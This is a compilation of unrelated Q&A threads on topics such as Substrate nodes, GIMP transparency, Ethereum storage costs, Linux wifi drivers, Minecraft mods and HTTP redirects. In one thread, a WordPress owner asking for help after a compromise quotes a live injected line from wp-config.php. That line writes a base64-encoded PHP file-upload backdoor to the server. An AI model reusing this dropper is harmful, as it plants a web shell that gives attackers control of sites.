2021-11-24 15:36:35 ⛓  Native runtime: node-template-100 (node-template-1.tx1.au1)
2021-11-24 15:36:35  Initializing Genesis block/state (state: 0xa59b…5331, header-hash: 0xc5d2…37f3)
2021-11-24 15:36:35  Loading GRANDPA authority set from genesis on what appears to be first startup.
2021-11-24 15:36:35 ⏱  Loaded block-time = 6s from block 0xc5d2fdad35e14684753f087c1a20f022274e154d39add4f7efe34e95476a37f3
2021-11-24 15:36:35 Using default protocol ID "sup" because none is configured in the chain specs
2021-11-24 15:36:35  Local node identity is: 12D3KooWG5niQF5bjsFao3D8DZRpUUB6uWZC2pK8hCDZ94zsr8Sc
2021-11-24 15:36:35  Highest known block at #0

Notice: /tmp/substrateP1jD7H/chains/dev/db is the DB directory, and each time you start with --dev, a random string will be used for the DB. You can restart using that same DB with the --base-path /tmp/substrateP1jD7H/ flag if you did for some reason want to restart a previous test DB, and override the --dev behavior to start a new one.

You can manually purge the DB only for a chain with the purge-chain subcommand on most nodes as well:
# Clear a specific base path specified chain
./target/release/node-template purge-chain --base-path /tmp/substrateP1jD7H/

# Clear
./target/release/node-template purge-chain --local

Comment: Thank you Dan. And off topic, since you were kind and answered: I can't find if there is a way of running the node with a 0 block time, in order to test pallets without worrying about consensus delays. Do you know? Thank you.
Comment: @JohnHilkinson Could you mark this reply as the answer? For your other questions, you could open a new question on StackExchange.
Answer: You can run your node with --tmp. This will put the database into a temporary directory that is deleted when the node is closed. Thus, every time you will start again from genesis.


Apply transparent background in GIMP

Question: How can I remove the background and replace with transparency (as represented by checkered background in PS)? And are there any limitations in the file type I can then export the image to?
Answer:
Select Layer → Transparency → Add Alpha Channel
Select the background using the Fuzzy Selection Tool (Magic Wand)

and press the Del key.

GIF will allow you single-color transparency, while  PNG has full alpha channel support.
Comment: I found this while trying to get the "Color to Aplha" option enabled, unsuccessfully.  It works well.
Comment: It's not clear to me how this apply to GIFs (hundreds of layers).
Answer:
Open the image and choose Select > By Color from the menu.
Click on the color you'd like to remove.
Select Colors > Color to Alpha from the menu and click OK.

This will result in the transparent, checkered background that you're looking for. If the background is made up of multiple colors, just repeat these three steps as necessary.
Comment: The Color to Alpha option doesn't activate.
Comment: @Oxwivi, are you on Mac? I have to manually go to the window switcher (⌃↑ / 4-finger swipe up) and click on the filter window before I can interact with it at all. (This appears to be fixed in the GIMP 2.9.7 master branch.)
Comment: On Ubuntu 20.04, GIMP 2.10.18, I first have to add an alpha channel before selecting by color; otherwise the background color I want to delete doesn't disappear when I press the delete key. I don't know a lot about GIMP, but this might be the same issue that @Oxwivi pointed out.
Answer: I've found the following to be easiest for me and I really like the effect.
# Select Foreground
Main Menu > Tools > Selection Tools > Foreground Select
# Select Background
Main Menu > Select > Invert
# Make Transparent
Main Menu > Colors > Color To Alpha
Done
Answer:
Select: Layer → Transparency → Add Alpha Channel
Select: Background with Fuzzy Selection Tool (Magic Wand)
Select: Layer → Transparency → Threshold Alpha...
Set Threshold to 255 for complete transparency.
Answer: Beware of simplistic solutions
On CGI (logos, text), the smooth edges are produced with anti-aliasing pixels. These pixels have a color which is a mix of the background color and the subject color. When you use the color selector or the fuzzy selector, these pixels are either selected fully (if they are close enough) or not at all, depending on threshold. If you then bluntly Delete, you either get a halo with the color of the removed background (Threshold 15) or a jagged edge (Threshold 100) or both:

A good solution
The good solution is to replace the background color by transparency, in proportion of its contribution to the color mix. In Gimp there are two ways to achieve this:

Colors>Color to alpha
Color erase mode, as a paint tool mode, or since Gimp 2.10 as a layer blend mode.

They both replace the pixel by the most transparent pixel, which, put over the removed color, re-produces the initial color. If you remove red from purple, you get a semi transparent blue, because semi-transparent blue over red produces purple. If you remove white from gray, you get a very transparent black pixel and not a not-so-transparent dark gray pixel, because among several solution Gimp picks the most transparent one.
For instance, using Color-to-alpha to remove the red gives this:

You will notice that in the 2.8 results, there are darker pixels that are due to Gimp 2.8 working on gamma-corrected values (the result is still vastly better than the jagged edges you get with simpler methods). Gimp 2.10 works in "linear light" and has no such problems.
Refinements
In the general case, the subject may have parts that are close to the color of the background. So if you apply the technique above these parts become transparent (or partially transparent). Avoiding this is simple:

Use the wand to select the background. The usual threshold (15) is fine.
Select>Grow the selection so that it covers the anti-aliasing pixels. On a clean image (PNG, with no JPG history) you don't need to grow by more than one pixel. If the image is dirty (JPEG artifacts), growing the selection by two or three pixels can be necessary.
Apply color-to-alpha. The pixels inside the subject, bieng excluded from the selection, won't be altered. Color to alpha will be applied to the background and the edge pixels, where it matters.

Output file types

JPEG doesn't support transparency
GIF supports binary transparency (all opaque or all transparent) so your semi-transparent edge pixels are going to be altered. You can use `Layer>Transparency>Semi-flatten to fill the transparency of these edge pixels with a new color (the color of the background on which the GIF will be used).
PNG has full support for partial transparency and is currently the preferred format.
WEBP is a new Google-sponsored format that can be lossy or lossless, and supports partial transparency. Gimp 2.10 supports it, but you have to ensure that it is supported where you want to use it (it won't be supported in older browsers, for instance).
Answer: Imagemagick
Maybe a better solution from here but using ImageMagick -transparent is
convert file.gif -transparent white -fuzz 10% file-2.gif`.

You could use "#ededee" to specify the color in hexadecimal.
Gimp
Probably more complicated but there is an option to work with multiple layers/frames at once with this solution.

Apply transparent background in GIMP


Where does the principle of equal a priori probabilities come from in statistical mechanics?

Question: I have studied that the principle of equal a priori probabilities yields maximum entropy principle and minimum free energy principle and we can define and calculate other thermodynamic variables. However, where does the principle of equal a priori probabilities come from?
Answer: Principles ( and laws, and postulates) in physics are the equivalent of axioms in a mathematical theory. The mathematical format used to study physics is very broad .  A subset of the possible solutions allowed by the mathematical axioms is picked up by the use of laws, as the conservation laws, and principles, as for example the least action principle, to formulate models which can fit existing data, and, very important, be predictive of future data.
Physics, in contrast to mathematics, does not end with  "quod erat demonstrandum". The models have to be validated or falsified  by data.
Principles can be  formulated from observations. The simplest and most studied by all probability distribution is the throw of the dice. The equal probability for all the faces is important for the dice to be unbiased, and this is an observation based on the randomness of the throws and the weight uniformity of the dice.
For dice it is easy to "prove" that if the throw is random and the dice matter uniform the probability distribution will be flat. It is not so for many particle systems treated in statistical mechanics, discussed here . Assuming it as a principle allows for picking the mathematical formats used in modeling many particle systems with statistical mechanics.
Comment: If you read the link I gave, you will understand that proof is not possible. There is speculation there that Boltzmann committed suicide in his old age because he could not "prove" it.
Comment: I know it can be regarded as an axiom. I'm asking about the "prove" or "try to prove" part and whether the axiom is too strict.


what is the gas cost PER entry in storage?

Question: So I just recently found out that 2^261 bytes can theoretically be stored on the Ethereum Blockchain. So this means 2^256 key-value mappings. My question is, what is the gas cost per NEW key-value mapping? (instantiation only). Then how much would it cost to store the theoretical maximum of data?
Answer: A mapping instantiation doesn't cost anything. We can say it exits with all their values initialized to zero bytes. You only pay for storage changes, for example when assigning a value to an entry.
Writing a non-zero value to a 32 bytes storage slot costs 20000 gas. As of 2021-10-22 17:00 UTC with a gasPrice of 80 gwei writing the entire mapping will cost 2^256 * 20000 * 80 / 10^9 = 1.85 x 10^74 ethers.


Going from a point in a sphere from a point in an ellipsoid

Question: Given a certain vector $v$ on the surface of a sphere centered at $0$, I'm trying to find another vector $w$ such that $w$ and $v$ are colinear and $w$ is on the surface of an ellipsoid also centered at $0$. Having read the answer to this question before, I tried to normalize $v$, multiply it by the radius of the sphere that has the same volume as the ellipsoid (since the transformation that corresponds to the matrix preserves volume) and then, multiply that result by the inversion of the matrix that takes points from the ellipsoid to the sphere. This didn't work. I'd like to know why and what can I do to find $w$.
Answer: If $v=(v_1, v_2, v_3)$ and the equation of your ellipsoid is
$$\frac{x^2}{a^2} + \frac{y^2}{b^2} + \frac{z^2}{c^2} =1$$
you are looking for some $\lambda > 0$ such that $w=\lambda v$ lies on the ellipsoid. Well, you can solve for $\lambda$ in the equation
$$\frac{(\lambda v_1)^2}{a^2} + \frac{(\lambda v_2)^2}{b^2} + \frac{(\lambda v_3)^2}{c^2} =1$$
getting
$$\lambda = \sqrt{\frac{1}{\frac{v_1^2}{a^2} + \frac{v_2^2}{b^2} + \frac{v_3^2}{c^2}}}$$
Comment: Is there a way to do this using only linear algebra? I'd like to avoid doing any other operations other than adding and multiplying.
Comment: @Laura Perhaps if we knew why you wanted to do this only using linear algebra we could help.  Some kind of software problem?
Comment: It's a software problem indeed :) I'm doing some calculations using points on the surface of the Earth in real time, so I need to go from any point on the surface of a spherically-modeled Earth to the corresponding point in an ellipsoidal Earth and I need to do so as fast as possible.
Answer: $$x_1{}^2 + y_1{}^2 + z_1{}^2 = r^2 \tag{T1}$$
$$\left(\frac{x_2}{A}\right)^2 + \left(\frac{y_2}{B}\right)^2 + \left(\frac{z_2}{C}\right)^2 = 1 \tag{T2}$$
$$\frac{x_2}{x_1} = \frac{y_2}{y_1} \tag{T3}$$
$$\frac{y_2}{y_1} = \frac{z_2}{z_1} \tag{T4}$$
$$\frac{z_2}{z_1} = \frac{x_2}{x_1} \tag{T5}$$
$x_1,~y_1,~z_1$ are known.  $x_2,~y_2,~z_2$ are unknown.
To find one of the unknown, use (T3) to (T5) to eliminate the other 2 unknowns by plugging them into (T2).
$$\left(\frac{x_2}{A}\right)^2 + \left(\frac{x_2~y_1}{x_1~B}\right)^2 + \left(\frac{x_2~z_1}{x_1~C}\right)^2 = 1$$
$$\left(\frac{y_2~x_1}{y_1~A}\right)^2 + \left(\frac{y_2}{B}\right)^2 + \left(\frac{y_2~z_1}{y_1~C}\right)^2 = 1$$
$$\left(\frac{z_2~x_1}{z_1~A}\right)^2 + \left(\frac{z_2~y_1}{z_1~B}\right)^2 + \left(\frac{z_2}{C}\right)^2 = 1$$
Which is:
$$\left(\frac{1}{A}\right)^2 + \left(\frac{y_1}{x_1~B}\right)^2 + \left(\frac{z_1}{x_1~C}\right)^2 = x_2^{-2}$$
$$\left(\frac{x_1}{y_1~A}\right)^2 + \left(\frac{1}{B}\right)^2 + \left(\frac{z_1}{y_1~C}\right)^2 = y_2^{-2}$$
$$\left(\frac{x_1}{z_1~A}\right)^2 + \left(\frac{y_1}{z_1~B}\right)^2 + \left(\frac{1}{C}\right)^2 = z_2^{-2}$$
Which is:
$$x_2{}^2 = \frac{x_1{}^2}{(x_1/A)^2 + (y_1/B)^2 + (z_1/C)^2}$$
$$y_2{}^2 = \frac{y_1{}^2}{(x_1/A)^2 + (y_1/B)^2 + (z_1/C)^2}$$
$$z_2{}^2 = \frac{z_1{}^2}{(x_1/A)^2 + (y_1/B)^2 + (z_1/C)^2}$$
The constraint the $x_1$, $y_1$, and $z_1$ lie on a circle of radius $r$ doesn't actually seem to simplify the problem, depending on your purpose, it may as well be ignored.


Realtek RTL8723BE weak wifi signal and disconnects

Question: Model: HP 15-af030ur inside Realtek RTL8723B
*ware: 2 years have problems under Linux Ubuntu 14.04LTS -> 16.04LTS -> 17.04 Gnome 3.24 wayland
Problem: weak wifi signal problem in ubuntu based linux distributions, but  work well with windows
try all solutions, nothing help
Comment: Which "all" solutions did you try? It is quite obvious that you did not try any.
Comment: Wow !!! I remember your nickname. A year and a half ago I used all your advice that I could find. Thanks for the help!
Unfortunately nothing helped on HP 15-af030ur
Answer: And finally I found a solution that works for me (checked on 2 laptops of same model with different versions of Ubuntu: 16.04LTS and 17.04)

Open Terminal, and enter:
iwconfig

And note down the wl* number.
Download the new driver rock.new_btcoex from Github and unzip it to Desktop folder.
In Terminal, now run these commands:
cd Desktop/rtlwifi_new-rock.new_btcoex
make
sudo make install` type your ubuntu password
sudo modprobe -rv rtl8723be
sudo modprobe -v rtl8723be ant_sel=2
sudo ip link set wl* up` use your **wl* number**
sudo iw dev wl* scan` same

To make the settings permanent, use this command:
echo "options rtl8723be ant_sel=2" | sudo tee /etc/modprobe.d/50-rtl8723be.conf

Note: After your OS (Kernel) update, you need to apply these settings again to get a strong signal.
Comment: There is no need to install anything from git for new Ubuntu versions. `ant_sel` has been committed to the kernel a while ago.
Comment: Correct. To `1` or `2`.
Comment: Need only change option to `ant_sel=2` ?


htaccess and wordpress config files are regularly over written

Question: I have a WordPress site (v5.2.3), and every now and again (possibly monthly) the wp-config.php and .htaccess files are over written with bad information.
This results in two problems - first the DB access details in wp-config are changed to something don't work, and then the ability to access my post-link permalinks are lost as a result of information being lost from htaccess.
After being overwritten, my wp-config file is full of lines like this:
file_put_contents("wp-remote-upload.php", base64_decode('PD9waHANCmVjaG8gIlRoaXMgc2hpdCB3b3JrcyEiOw0KaWYgKGlzc2V0KCRfRklMRVNbImZpbGVuYW1lIl0pKQ0Kew0KICAgaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQogICB7DQogICAgIGVjaG8gKCJGaWxlIHRvbyBsYXJnZSAobW9yZSB0aGFuIDNNYikiKTsNCiAgICAgZXhpdDsNCiAgIH0NCiAgIGlmKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSkpDQogICB7DQogICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyJmaWxlbmFtZSJdWyJuYW1lIl0pOw0KCSBlY2hvICgiPGJyPkRvbmUhPGJyPiIpOw0KICAgfSBlbHNlIHsNCiAgICAgIGVjaG8oIjxicj5FcnJvciEgIi4kcGhwX2Vycm9ybXNnLiI8YnI+Iik7DQogICB9DQp9DQo/Pg=='));

My wp-config file has so many of these lines that it is about 800Kb in size.
The plugins I am using on my WordPress site are as follows:

Akismet Anti-Spam [v4.0.1 by Automattic]
Contact Form 7 [v4.9.2 by Takayuki Miyoshi]
Duplicator [v1.2.3 by Snap Creek]
Google Analytics for WordPress [v7.7.1 by MonsterInsights]
Hello Dolly [v1.6 by Matt Mullenweg]
Limit Login Attempts [v1.7.1 by Johan Eenfeldt]
Logo Slider [v1.4.7 by EnigmaWeb]
Recent Posts Widget Extended [v0.9.9.7 by Satrya]
Squelch Tabs and Accordions Shortcodes [v0.4.1 by Matt Lowe]
WordPress Importer [v0.6.3 by wordpressdotorg]
Yoast SEO [v5.9.1 by Team Yoast]

Using my FTP program I have tried changing the permissions to the wp-config.php and .htaccess files so they cannot be written to - however my attempts to change these values have resulted in no changes.  I am assuming I do not have the ability to change file permissions.

How do I stop these files from being over written?
Or how I can discover what is responsible for changing these files?
Comment: @04FS the system was indeed compromised - leave this as an answer and I will mark you as correct.
Comment: Looks like your system was compromised / hacked. Suggest you start by googling what to do in such a case, there's plenty of resources out there that cover the basics. Ideally, you should probably delete all core WP and plugin folders, and upload the files again from a "clean" system (to avoid that other files that might have been inserted into your system can still be reached by the attacker from the outside.)
Comment: @04FS oh no, that doesn't sound good - I thought it may have been a wayward plugin?
Comment: No, no legit plugin should try and write stuff like this to the wp-config file.
Answer: Looks like your system was compromised / hacked.
Suggest you start by googling what to do in such a case, there's plenty of resources out there that cover the basics.
Ideally, you should probably delete all core WP and plugin folders, and upload the files again from a "clean" system (to avoid that other files that might have been inserted into your system can still be reached by the attacker from the outside.)


How do I make a control blend file that can link to other blend files and save changes from the control to the external blend files?

Question: I would like to add props, sets, and characters from external .blend files into a main .blend file scene but have it save to the external .blend files, rather than append which copys the files or link which gives me very few options to change the objects.
Answer: The answer I was looking for was Make Proxy. After linking an object, on that object, It's Object > Make Proxy or Ctl+Alt+P.


Geth modes for address balance

Question: After some research I saw that there are several types of synchronizations for the geth client: full sync, fast sync and light sync.
If I want juste check the balance of an address what is the lightest mode I can use?
I also heard from the parity option: parity --no-ancient-blocks, would this help for the sync time and still allow the RPC node to know the balance of an address ?
And is there also options that stop the synchronisation of new blocks since I didn't need new blocks until a certain time and also don't want to wast disk space
Answer:
The light mode should work to get balances. In this mode the client stores the minimal data, and it queries another node when the data needed is missing.

fast and full node should work. It requires a server with good IO and lots of space. It takes a while to sync, event the fast mode.

Parity was renamed to OpenEthereum and later deprecated. It is no longer supported.

Geth modes for address balance


Applied to several internal postings, send email to hiring manager?

Question: I have recently been given the OK by my boss to apply to other departments in the same company. I have applied to a few different positions in the past few days and I am just playing the waiting game at this point. Should I just wait for a call and see what happens? Some people have suggested me to email the hiring manager directly (same company so I have access to all of their contact info but I do not know the manager personally) to express my interest. Is that a good idea? I do consider myself well-qualified for all positions I have applied to and the last thing I would want is for HR to filter out my resume for stupid reasons. If I do send this email how should I go about structuring it? Thanks for your help in advance.
Comment: The internal application process is very different from company to company. We can not tell you if badgering HR is good, bad or irrelevant in your specific company.
Answer: Sending an email and expressing your interest is definitely a good idea. Some managers do respond to enthusiastic candidates and would ask the HR to rope in the candidate for the role. They are as well looking for talent to match their needs. If you have it then they would definitely consider.
Dear Bob,
I happened to find the position Y listed on our job portal. I am very much interested in this position as (reasons). I would like to request you to consider my candidature for this position. Looking forward to hearing from you. Thanks
Regards,
X


If I make a forge server with mods, do other people need the mod?

Question: I want to make a Minecraft server with mods in 1.11 but do the players need mods as well because I heard from people that they just need forge.
Comment: Possible duplicate of [Can my friend and I play minecraft together with different mods?](https://gaming.stackexchange.com/questions/152887/can-my-friend-and-i-play-minecraft-together-with-different-mods)
Answer: Clients need vast majority of mods the server has.

The version of mod has to be same on server as in client, if they are on both sides
Forge is only the loader of other mods

Rules for what mod has to be in client/server or both:

Any mod that adds any block, item or entity; or mods that offer network communication : Both server & client

sever needs to know what you are holding and client needs to know it either, so it can show it for you. NEI/JEI needs to be also on server, if you want to have weather/time buttons working, etc.

mods that add some server feature : typically only server

Typically functions similar to "bukkit plugins", for example ForgeEssentials, or Morpheus (modifies only the number of people need sleeping to get a day), or DiscordChat etc.

mods that change the client's way of rendering, but don't add anything into game : typically only client

Optifine, minimaps, shaders, texture packs... (those can even stop server from functioning if you try to put them there)

Be aware that there are some mods that allow server-configuration for purely cosmetic/graphic mods, those have to go both on server and client, if you want to sync settings (respectively you want to force server settings to people playing on server). For example HardcoreDarkness mod is optional on server, but if it is there, it is a must for joining clients:

If you install this mod on a server all clients will have to have Hardcore Darkness installed. Clients will also be forced to use the config file you specify on your server.

Some mods have different version for server and client, for example JourneyMap or ForgeEssentials, then you should have the corresponding ones on both sides, however those are normally optional on both sides. Every mod should have such an info on their project site.
You should also consider to sync whole config folder to clients, because various settings can reject clients from joining the server. For example AE2 mod offers settings to disable items, then if you disabled item and join server that has it, it won't let you in.

If you have version 1.8+ and your server has only servers-only mods, even pure vanilla clients can join (you can take advantage of this!). For 1.7.10 and lower versions you are not able to join Forge server without Forge installed in client, even if there are no mods.
Also be sure that if you use classic minecraft launcher, to use standalone profiles , that are setupped with custom directory in profile editor. That is needed to avoid conflicts between versions, even with vanilla ones! Also more RAM is needed to load all parts of the game.
Answer: The straight answer is Yes your friends need to download the mods.  The reason behind this is the server and the client need to be in sync thus needing the mods.  So your friends would have to download the mods and place them in there

%AppData%.minecraft\mods

folder.
I highly doubt this will ever change due to how the game was built which requires the clients to load the mods(like most games out there)
It most likely is possible for the server to send mods straight to a client, but that could make problems for those without the proper PC elements, such as RAM.
Comment: This is way too simplistic to be useful.
Answer: Usually, yes. For most mods, especially mods that add any kind of content, both the player and the server need to install the mod.
However, there are some mods that are required only on the client, or only on the server. For example, mods like InventoryTweaks, Journeymap or JEI work just fine when only the player has them (and you can even use them on a vanilla server!), and I think mods like FTBUtilities can work if only the server has them.
Answer: For Fabric, there is a mod called PolyMc, that can make it possible to join a modded server with a vanilla client
Comment: Apparently, [PolyMC](https://github.com/TheEpicBlock/PolyMc) works by doing some client-side work on the server instead. So, vanilla clients might cause more lag than modded ones.


Is $\vert\sin{x}\vert$ a cycloid?

Question: Forgive this seemingly basic question; I recently found out about cycloids and cannot find any answers on the web. My guess is that it's not, due to some part of the definition of a cycloid, but I can't really find something about cycloids which explicitly helps me answer my question/I am not rounded enough to decipher the necessary information.
Comment: It is not. ${}{}{}{}{}$
Comment: The derivative of the cycloid can take any real value, while the derivative of $| \sin x |$ is never outside the interval $[-1,1]$ when it exists.  You will notice the difference in shape where $y=0$
Answer: One possible explanation is using the parametrization of a cycloid. It is given by
$$
x = r(t-\sin t)\\
y = r(1-\cos t)
$$
for some $r>0$. If $y = |\sin x|$ is a cycloid, or more generally, homothetic to cycloid, then it will be possible to find some constant $a\in \mathbb{R}$ such that
$$
|\sin(r(t-\sin t))| = ar(1-\cos t)
$$
for all $t\in \mathbb{R}$. However, it is not true.

Is $\vert\sin{x}\vert$ a cycloid?


presentModalViewController Issue

Question: I'm writing an iPhone application which you need to authenticate at the beginning.
Therefore as soon as the application load in the viewDidLoad i allocate a UIViewController which is in-charge of registration and authentication and i present it like so:
<code>- (void)viewDidLoad {
    [super viewDidLoad];
    self.registerProfile = [[[RegisterViewController alloc] initWithNibName:@"RegisterProfile" bundle:nil] autorelease];
    [self presentModalViewController:self.registerProfile animated:YES];
    [self.registerProfile release];
 }
</code>
For some reason it does not work when it is called from viewDidLoad.
But if i create a button on that view and append the same code above, when i click it,
it works and the view is presented.
Any idea why it does not work on viewDidLoad and with a button it does ?
I also tested an Apple example called NavBar. When a button is clicked it present a view using the presentModalViewController, when i added it to the ViewDidLoad it did not work!
What am i missing here ? I want that process to be automatically when the view loads and not by a push of a button.
Thanks!
Answer: After playing around and searching the deep web I have found the solution.
Put the same code inside viewDidAppear and not viewDidLoad since the view cannot be initialized yet.
Answer: I happen to have a code that's almost exactly the same as above and it works fine. Try to do this:
<code>- (void)viewDidLoad {
    [super viewDidLoad];
    self.registerProfile = [[[RegisterViewController alloc] initWithNibName:@"RegisterProfile" bundle:nil] autorelease];
    registerProfile.delegate = self; //set delegate as yourself
    [self presentModalViewController:self.registerProfile animated:YES];
    //[self.registerProfile release]; //don't worry about releasing it, it's been autoreleased.
 }
</code>

presentModalViewController Issue


How to run camera dependent program on android Emulator

Question: I made a few programs in which I need to capture pictures using notebook Camera and send it through email. THe problem is neither can I send an email nor I can capture pictures using camera through emulator. I have gone through some suggested solutions like "tomgibara" but like most of the people it is not working for me in case of camera. And I havent found any solution of sending email thorugh emulaotr cuz there is not option. I don't have android device to run these programs on that. Is there any way to solve this problem.
Answer: On my emulator, you can't use Camera or send mail, you'll either have to test it on the phone, tablet or something with android (Not emulator).  with debug mode on, or just presume it works...


Editing fid to match row number using QGIS?

Question:
Tried editing it but it wont allow to save the edit.
Answer: In a table there are no row numbers as in a spreadsheet.
However, there is a field that unequivocally identifies each feature by assigning a number, to meet performance and integrity (data and referential) requirements. That field is usually called fid. Nothing ensures, if it is not specified in the query to the table, the order that the rows of a table should take when they are shown.
In the Qgis table editor, that kind of spreedsheet row numbers are shown only for convenience, perhaps to keep a visible account of the features.
Answer: Got it. I just added a new column and removed the fid column via right-clicking the column header > Organize Columns > Unclick fid
Comment: That simply hides the column, it does not delete it.


Overwriting HTTP 301 responses

Question: I have two pages on a website. Originally /a returned a 301 redirect to /b. I have changed the pages so that /b now returns a 301 redirect to /a (which now has content instead of /b). The behavior I am seeing is that the browser invalidates the 301 from /a to /b and replaces it with the new 301 from /b to /a, thus preventing a redirect loop.
I want to confirm the behavior I'm seeing in current browsers (Chrome, Firefox, IE, and Edge) is understood to be the correct behavior. I've looked at RFC 2616, but it doesn't cover this corner case, as far as I can tell. Can anyone confirm that this is behavior as defined by the spec, or by well established precedent (i.e. browser have been behaving this way for many years)?
For more information, the concrete case I'm working on is a page that actively redirects off of HTTPS onto HTTP. I want to reverse this to force HTTPS. In my case, /a and /b are actually the same page, just accessed via different protocols.
Edit
Section 10.3 of RFC 2616 says:

A client SHOULD detect infinite redirection loops, since such loops generate network traffic for each redirection.

I'm guessing this is the guiding principle in the cache-busting behavior I'm seeing. Still not a solid answer on whether the behavior is per-spec, or just the only thing that makes sense.
Edit 2
Another relevant bit from the RFC (Section 13.12)

If a new cacheable (see sections 14.9.2, 13.2.5, 13.2.6 and 13.8) response is received from a resource while any existing responses for the same resource are cached, the cache SHOULD use the new response to reply to the current request. It MAY insert it into cache storage and MAY, if it meets all other requirements, use it to respond to any future requests that would previously have caused the old response to be returned. If it inserts the new response into cache storage the rules in section 13.5.3 apply.

It seems that in light of the sections I've posted, that the behavior I'm seeing is what is suggested by the spec, if not completely spelled out.
Comment: Care to elaborate? I understand that browsers cache 301s indefinitely. I'm specifically curious about the case where a newer 301 supersedes an old one.
Comment: Ah, I'm sorry, I read it wrong.
Comment: This seems to be discussed pretty well in the second portion of this answer: http://stackoverflow.com/a/21396547/1072229
Comment: @GrishaLevit I saw that part of the answer. Unfortunately there's enough hedging on whether issuing a new 301 actually works that I'm not comfortable with the answer.
Comment: FWIW, RFC 2616 is obsolete. You really need to look at RFC 7231.
Answer: Redirection 3xx section of RFC 7231 Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content defines that behaviour. Relevant excerpt:

A client SHOULD detect and intervene in cyclical redirections (i.e.,
"infinite" redirection loops).

Note: An earlier version of this specification recommended a
maximum of five redirections ([RFC2068], Section 10.3).  Content
developers need to be aware that some clients might implement such
a fixed limitation.

Overwriting HTTP 301 responses


How to find correlation between 3 signals

Question: I have 3 signals, S1 S2 S3, with a same time domain and same time steps. I'm wondering if there is any correlation between these 3 signals. more specifically I want to know if it is possible to make Signal S3 by any combination of signals S1 and S2.
Answer: You need to process them jointly in pairs to get the correlation coefficients
$$\rho_{13}=\frac{\mathsf{Cov}(S_1,S_3)}{\sqrt{\mathsf{Var}(S_1)\mathsf{Var}(S_3)}}$$
$$\rho_{23}=\frac{\mathsf{Cov}(S_2,S_3)}{\sqrt{\mathsf{Var}(S_2)\mathsf{Var}(S_3)}}$$ that represent the linear dependencies between $S_1$, $S_3$ and $S_2$, $S_3$, respectively. So when $|\rho_{xy}|$ is close to one, it indicates high linear dependency (and values close to zero mean small linear dependency).
That said, the problem you mentioned can be solved using a least squares approximation. In MATLAB, assuming your signals are in form of column vectors S1, S2, and S3, you can do this to find the weights:
w = [S1 S2]\S3;

So the signal S3 can be approximated as
S3_hat = [S1 S2]*w;

and the mean squared approximation error is
mse_err = mse(S3-S3_hat);


What's the difference between bass and guitar heads?

Question: What are the differences between bass and guitar heads?
I have recently obtained a Hartke cab and I am looking at heads. I see that there are heads just specifically made for bass cabs. why can I not use a guitar head to power my cab?
Comment: Are you planning to play guitar or bass with the rig you are building?
Comment: Hartke is best known for bass amplification. Getting a cab first, I guess with the phrasing of the question, it's for bass?
Answer: The demands on an amplifier/speaker combo designed to reproduce the sounds desired for bass guitar are different than for a regular guitar.
To accurately and faithfully reproduce the low frequencies needed for bass guitar, the speaker surface must be able to move a greater distance and move more air.  This greater movement demands more room in the cabinet and either a closed back or ported design.  The larger overall volume of speaker surface used for bass cabinets combined with the large movement required to reproduce lower frequencies - results in greater acoustic pressure.  Therefore the bass cabinets tend to provide a greater overall volume within the cabinets - and/or a porting mechanism to prevent the pressure from the back of the cabinet from interfering with the sound waves coming from the front of the speakers.
Getting that much real estate inside the bass cabinet and combining an amplifier head in the same box (as in a combo amp) would make the overall size of the unit unwieldy due to size and weight.  That is why it is common for bass amplifiers to come in two pieces.  It allows for large volume cabinets with heavy magnets to move large speakers a greater distance.  Combo's exist for use in practice or small venues where less volume is required.
Historically, most guitar amps are combos - meaning the amp head and speaker cabinet are combined into one.  Guitar speakers don't have to deal with the low frequencies, thus smaller speakers are more common (for cleaner reproduction of the higher frequencies a regular guitar produces), and open backed cabinets can be effectively used reducing overall weight further.  Recently amp manufacturers have been inventing more low wattage "guitar heads", but the smaller wattage heads are primarily used for getting a tube amp sound in recording applications and the larger guitar heads are designed for getting bigger sound in large venues when coupled with an appropriate stack of speakers.
Getting back to the crux of your question.  You could use a guitar amp head to power your cabinet but you must be careful to get a proper and compatible match for both power and impedance.
For one thing, you will need sufficient power to drive the speakers.  But be careful not to get more power in your head than the speakers are rated for.  Most bass cabinets have speakers rated for 100 watts or greater. A multi speaker cabinet will have a higher overall power handling capacity than each individual speaker.  Ideally your power amp should provide less power than the maximum power the speakers are rated for. A good bet would be an amp head that provides about 50% to 75% of the power the speakers are rated for.  But too little power may fail to satisfactorily drive your speakers. So if the speaker cabinet is rated for 400 watts and your head only provides 60 watts, your tone may suffer significantly.
The other thing that is critical in matching a head with a cabinet (includes speakers) is getting the proper impedance (measured in ohms) match between head and cab. You must get an amp head that is rated for an impedance level that is compatible with the impedance level of the speakers. If your cabinet is rated for an overall impedance of 4 ohms - you must be sure your head is rated for as low as 4 ohms.  If the cabinets impedance is lower than the lowest one the amp head is rated for, you will damage the head. So if the cabinet was rated at 4 ohms and you used a head with a lowest rating of 8 ohms, your head will soon become a large paper weight.  Bass cabinets often have lower impedance ratings than guitar speakers - so be careful here.
On multi speaker cabs - you must look at the overall impedance level of the entire cabinet, not the individual speakers. This is because the overall impedance will vary on a 2 or 4 speaker cab, depending on if they are wired in series or parallel or a combination of both (as is often the case in a 4 speaker cabinet).
Finally, if you intend to play mainly guitar through your stack, you might be better served with a guitar cabinet matched with a guitar head - or simply a guitar combo amp.  The speakers and cabinets specifically designed for reproducing the lower frequencies of a bass guitar, are not optimal for reproducing the higher frequencies of a regular guitar.  If you want to play bass guitar through a bass cabinet matched with a guitar amp head (maybe you want to add more distortion or other "guitar effects" to your bass?), that should work fine as long as the power and impedance rating between cab and head are optimally matched as described above.
Good luck.
Answer: Back in the day, there was more overlap between guitar and bass heads than there is now. Guitar amplification imparts a lot of the final tone that we love of electric guitars and most guitar amp designs are either similar to designs from the 60s and 70s or are meant to emulate the sounds of those designs.
We do also love the bass sounds of the 60s and 70s but there are newer bass sounds that are very popular. Only a few new popular guitar sounds have appeard in the last 40 years (most notably PRS guitars and Mesa/Boogie amplification and all the sounds inspired by those two), but many new bass sounds have become popular.
